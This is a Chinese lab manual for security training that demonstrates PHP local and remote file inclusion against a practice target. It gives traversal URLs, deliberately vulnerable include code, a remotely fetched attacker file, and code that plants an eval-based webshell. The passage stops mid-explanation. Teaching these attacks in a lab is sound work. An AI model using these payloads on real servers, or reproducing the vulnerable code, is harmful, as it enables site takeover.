实训项目4：文件包含漏洞分析及利用

寻真求是格物致知信息安全发展态势与知识拓展实训项目指导手册V1.0目录TOC\o"1-2"\h\u25852文件包含漏洞分析及利用 219763概述 224525实验环境 232043前提条件 216571实验流程 24481实验目标 216766任务1利用文件包含漏洞获取系统敏感信息 311401任务2利用本地文件包含获取网站控制权限 85268任务3利用远程文件包含获取网站控制权限 10

文件包含漏洞分析及利用概述PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时，由于传入的文件名没有经过合理的校验，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。文件包含漏洞分为：本地文件包含（LocalFileInclusion，LFI）和远程文件包含（RemoteFileInclusion，RFI）。LFI和RFI均通过PHP的包含函数即：require()、require_once()、include()和include_once()来使用。若PHP的配置选项allow_url_include设置为ON，则include/require函数即可加载远程文件，即会产生远程文件包含漏洞。本实验使用的靶场环境为：文件包含渗透靶场。实验环境攻击机：WindowsServer2016（01-Windows攻击机），IP：30靶机：WindowsServer2016（03-Windows靶机），IP：70前提条件本实验要求：熟悉Windows基本操作实验流程实验目标完成本实验后，您将能够：掌握利用文件包含漏洞获取Webshell的方法掌握文件包含漏洞的代码级防护方法任务1利用文件包含漏洞获取系统敏感信息【任务目标】构造文件包含语句，触发文件包含漏洞，并通过文件包含漏洞获取系统敏感信息。【任务步骤】靶场环境准备双击靶机桌面的”phpstudy”集成环境，并单击”启动”按钮，运行网站。攻击机访问靶机站点在攻击机打开浏览器访问http://<靶机IP>/app/rlfi.php包含正常文件在页面中，单击按钮，在URL地址栏中，即可看到通过language参数包含了一个lang_en.php的页面，并且将包含页面内容显示出来。此时在页面中，勾选下拉框，选择”Français”并单击按钮，在URL地址栏中，即可看到包含了一个lang_fr.php的页面，并且将包含页面内容显示出来。说明此处存在一个文件包含的功能。包含其他文件尝试包含靶机其他Web敏感文件。如：phpinfo.php（安装phpstudy默认存在此文件）、l.php（指针文件，安装phpstudy默认存在此文件）。构造如下包含语句：70/app/rlfi.php?language=../phpinfo.php&action=go由于phpinfo.php不在/app/文件夹下，所以需要通过../进行目录跳转。可以看到，phpinfo.php、l.php均可正常包含。继续构造包含语句，包含C:\Windows\win.ini系统文件：包含特殊文件在进行文件包含时，非php后缀文件中的php代码，同样会被解析。例如：在靶机的C:\phpStudy\PHPTutorial\WWW\app文件夹下，创建1.txt文件，并写入如下内容：<?phpphpinfo();?>接着，构造包含语句包含1.txt文件。可以看到，虽然包含的是1.txt文件，但是里面的php代码还是被服务器解析。说明此处存在文件包含漏洞。任务2利用本地文件包含获取网站控制权限【任务目标】通过文件包含漏洞，包含网站一句话木马文件，从而获得Webshell。【任务步骤】包含一句话木马继续编辑“任务1”的1.txt文件，加入一句话木马包含1.txt文件在攻击机打开浏览器包含1.txt文件。复制包含的URL路径，打开中国蚁剑进行连接。70/app/rlfi.php?language=1.txt&action=go右键添加的链接，单击“文件管理”，进入目标服务器文件管理界面。成功获得Webshell。任务3利用远程文件包含获取网站控制权限【任务目标】通过文件包含漏洞，包含远程一句话木马文件，从而获得Webshell。【任务步骤】配置远程包含环境在靶机中打开“phpStudy”集成环境，单击“切换版本”，勾选“php-5.4.45-nts+Apache”，将版本切换成支持远程文件包含的版本。接着，进入php-5.4.45-nts路径，编辑php.ini将allow_url_include设置为On。重启phpstudy网站环境，让修改的配置生效。在WWW/app文件夹下，创建rfi.php文件，并填写如下内容：<?php//存在RFI漏洞的代码片段$file=$_GET['file'];include$file;?>包含远程文件在攻击机中，打开”phpStudy”集成环境，并单击”启动”按钮，开启网站环境。在攻击机网站根目录中，创建attack.txt，并写入<?phpphpinfo();?>。在攻击机中，打开浏览器，构造如下包含语句：70/app/rfi.php?file=30/attack.txt可以看到，通过远程包含漏洞，将攻击机上attack.txt中的php代码成功解析出来。说明远程文件包含漏洞利用成功。包含远程文件并获取Webshell在攻击机中，继续编辑attack.txt，写入如下代码：123<?phpfputs(fopen("shell.php","w"),'<?php@eval($_POST["pass"]);?>');?>上述代码含义：生成一个shell.php文件